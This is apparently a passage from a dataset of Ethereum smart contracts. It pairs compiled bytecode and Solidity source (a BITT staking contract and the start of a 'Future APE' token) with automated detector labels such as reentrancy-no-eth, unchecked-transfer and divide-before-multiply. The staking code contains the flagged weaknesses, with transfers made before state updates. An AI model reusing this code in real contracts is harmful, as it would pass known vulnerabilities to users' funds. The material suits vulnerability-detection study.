0c4957600080fd5b50565b600080610c8d6040805190810160405280600b81526020017f54776f4b657941646d696e000000000000000000000000000000000000000000815250610dd6565b90508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610cce5750610ccd33610489565b5b1515610cd957600080fd5b610d176040805190810160405280600b81526020017f54776f4b657941646d696e000000000000000000000000000000000000000000815250610dd6565b9150428273ffffffffffffffffffffffffffffffffffffffff1663f0cd4dce6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610d7e57600080fd5b505af1158015610d92573d6000803e3d6000fd5b505050506040513d6020811015610da857600080fd5b810190808051906020019092919050505011151515610dc657600080fd5b610dd0848461104a565b50505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663db7a6d90836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e82578082015181840152602081019050610e67565b50505050905090810190601f168015610eaf5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b158015610ece57600080fd5b505af1158015610ee2573d6000803e3d6000fd5b505050506040513d6020811015610ef857600080fd5b81019080805190602001909291905050509050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f716c79a836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fbc578082015181840152602081019050610fa1565b50505050905090810190601f168015610fe95780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15801561100857600080fd5b505af115801561101c573d6000803e3d6000fd5b505050506040513d602081101561103257600080fd5b81019080805190602001909291905050509050919050565b600061108a6040805190810160405280600d81526020017f54776f4b657945636f6e6f6d7900000000000000000000000000000000000000815250610f10565b90508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561112f57600080fd5b505af1158015611143573d6000803e3d6000fd5b505050506040513d602081101561115957600080fd5b8101908080519060200190929190505050505050505600a165627a7a72305820d6dc536af8c72817a30225f741a7ccd15b0bff28b3ac572c4cc57e45f1d4dfa50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,458 |
0x2E85a8808E4F029068182E9Edc0e73B5959D3D8C
|
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// 'BITT' Staking smart contract
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Stake is Owned {
using SafeMath for uint256;
address public BITT = 0x5E122692b924c85934C7657fC69bA022211aa89f;
uint256 public totalStakes = 0;
uint256 stakingFee = 25; // 2.5%
uint256 unstakingFee = 25; // 2.5%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(IERC20(BITT).transferFrom(msg.sender, address(this), tokens), "BITT Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(totalStakes > 0)
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
if(totalStakes > 0)
// distribute the staking fee accumulated before updating the user's stake
_addPayout(_stakingFee);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(BITT).transferFrom(msg.sender, address(this), tokens), "BITT Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round-1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(BITT).transfer(msg.sender,owing), "ERROR: error in sending BITT reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount + stakers[staker].remainder);
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid BITT token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
require(IERC20(BITT).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking BITT tokens");
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedBITT(address staker) external view returns(uint256 stakedBITT){
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the BITT balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourBITTBalance(address user) external view returns(uint256 BITTBalance){
return IERC20(BITT).balanceOf(user);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063997664d71161008c578063bf9befb111610066578063bf9befb11461030f578063ca84d5911461032d578063edac3d891461035b578063f2fde38b1461038f576100ea565b8063997664d71461026b578063a33ad87e14610289578063b53d6c24146102e1576100ea565b80634baf782e116100c85780634baf782e1461017d5780634df9d6ba14610187578063829e52ef146101df5780638da5cb5b14610237576100ea565b8063146ca531146100ef57806329652e861461010d5780632c75bcda1461014f575b600080fd5b6100f76103d3565b6040518082815260200191505060405180910390f35b6101396004803603602081101561012357600080fd5b81019080803590602001909291905050506103d9565b6040518082815260200191505060405180910390f35b61017b6004803603602081101561016557600080fd5b81019080803590602001909291905050506103f1565b005b610185610893565b005b6101c96004803603602081101561019d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be0565b6040518082815260200191505060405180910390f35b610221600480360360208110156101f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd7565b6040518082815260200191505060405180910390f35b61023f610ea4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610273610ec8565b6040518082815260200191505060405180910390f35b6102cb6004803603602081101561029f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ece565b6040518082815260200191505060405180910390f35b61030d600480360360208110156102f757600080fd5b8101908080359060200190929190505050610f1a565b005b610317611067565b6040518082815260200191505060405180910390f35b6103596004803603602081101561034357600080fd5b810190808035906020019092919050505061106d565b005b610363611486565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d1600480360360208110156103a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ac565b005b60085481565b600a6020528060005260406000206000915090505481565b80600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154101580156104435750600081115b610498576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611e326025913960400191505060405180910390fd5b60006104ca600a6104bc6004546104ae866115a1565b6115f590919063ffffffff16565b61167b90919063ffffffff16565b905060006104d7336116c5565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008282540192505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3361057b85876118c390919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156105ce57600080fd5b505af11580156105e2573d6000803e3d6000fd5b505050506040513d60208110156105f857600080fd5b810190808051906020019092919050505061067b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4572726f7220696e20756e2d7374616b696e67204249545420746f6b656e730081525060200191505060405180910390fd5b6106d083600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546118c390919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550610804836002546118c390919063ffffffff16565b6002819055506000600254111561081f5761081e8261190d565b5b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa23361085484866118c390919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546005541115610bde5760006108ea336116c5565b9050610941600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015482611a4390919063ffffffff16565b90506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040181905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1e57600080fd5b505af1158015610a32573d6000803e3d6000fd5b505050506040513d6020811015610a4857600080fd5b8101908080519060200190929190505050610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611e016031913960400191505060405180910390fd5b7f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e3382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a180600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550505b565b600080610cb8600754610caa600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610c9c600a60006001600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546118c390919063ffffffff16565b6115f590919063ffffffff16565b61167b90919063ffffffff16565b9050600754610d7e600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610d70600a60006001600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546118c390919063ffffffff16565b6115f590919063ffffffff16565b81610d8557fe5b0681019050600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401548101915050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e6257600080fd5b505afa158015610e76573d6000803e3d6000fd5b505050506040513d6020811015610e8c57600080fd5b81019080805190602001909291905050509050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610fcb57600080fd5b505af1158015610fdf573d6000803e3d6000fd5b505050506040513d6020811015610ff557600080fd5b810190808051906020019092919050505061105b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180611d786035913960400191505060405180910390fd5b6110648161190d565b50565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b505050506040513d602081101561114857600080fd5b81019080805190602001909291905050506111ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611dad6033913960400191505060405180910390fd5b60008060025411156111ed576111ea600a6111dc6003546111ce866115a1565b6115f590919063ffffffff16565b61167b90919063ffffffff16565b90505b60006002541115611202576112018161190d565b5b600061120d336116c5565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055506112c6600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546112b884866118c390919063ffffffff16565b611a4390919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555061140c6113fb83856118c390919063ffffffff16565b600254611a4390919063ffffffff16565b6002819055507f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c3361144784866118c390919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461150457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000806115b8606484611acb90919063ffffffff16565b905060006115e96002600a0a6064026115db6064856115f590919063ffffffff16565b61167b90919063ffffffff16565b90508092505050919050565b6000808314156116085760009050611675565b600082840290508284828161161957fe5b0414611670576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611de06021913960400191505060405180910390fd5b809150505b92915050565b60006116bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ae6565b905092915050565b60008061179d60075461178f600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611781600a60006001600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546118c390919063ffffffff16565b6115f590919063ffffffff16565b61167b90919063ffffffff16565b9050600754611863600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611855600a60006001600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546118c390919063ffffffff16565b6115f590919063ffffffff16565b8161186a57fe5b06600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254019250508190555080915050919050565b600061190583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bac565b905092915050565b600061193860065461192a600754856115f590919063ffffffff16565b611a4390919063ffffffff16565b905060006119516002548361167b90919063ffffffff16565b905061196860025483611c6c90919063ffffffff16565b60068190555061198381600554611a4390919063ffffffff16565b6005819055506119b481600a6000600160085403815260200190815260200160002054611a4390919063ffffffff16565b600a60006008548152602001908152602001600020819055507fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b66008548433604051808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1600860008154809291906001019190505550505050565b600080828401905083811015611ac1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000818260018486010381611adc57fe5b0402905092915050565b60008083118290611b92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b57578082015181840152602081019050611b3c565b50505050905090810190601f168015611b845780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611b9e57fe5b049050809150509392505050565b6000838311158290611c59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c1e578082015181840152602081019050611c03565b50505050905090810190601f168015611c4b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000611cae83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250611cb6565b905092915050565b6000808314158290611d63576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d28578082015181840152602081019050611d0d565b50505050905090810190601f168015611d555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50828481611d6d57fe5b069050939250505056fe4249545420546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e744249545420546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774552524f523a206572726f7220696e2073656e64696e672042495454207265776172642066726f6d20636f6e7472616374496e76616c6964204249545420746f6b656e20616d6f756e7420746f207769746864726177a26469706673582212202fee3714c32f2cc7dce6aa4d49ab55381aa309ad66f84a1a4a077ce90ae2a74e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,459 |
0xe8f9b93e2efe0e2a817ba15de331ccc853756e6a
|
// SPDX-License-Identifier: Unlicensed
/*
░█▀▀░█░█░▀█▀░█░█░█▀▄░█▀▀░░░█▀█░█▀█░█▀▀░░
░█▀▀░█░█░░█░░█░█░█▀▄░█▀▀░░░█▀█░█▀▀░█▀▀░░
░▀░░░▀▀▀░░▀░░▀▀▀░▀░▀░▀▀▀░░░▀░▀░▀░░░▀▀▀░░
//“A whole world populated by intelligent Ape -- I wonder what it'll be like?” - Future APE
//TELEGRAM
// @futureape
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
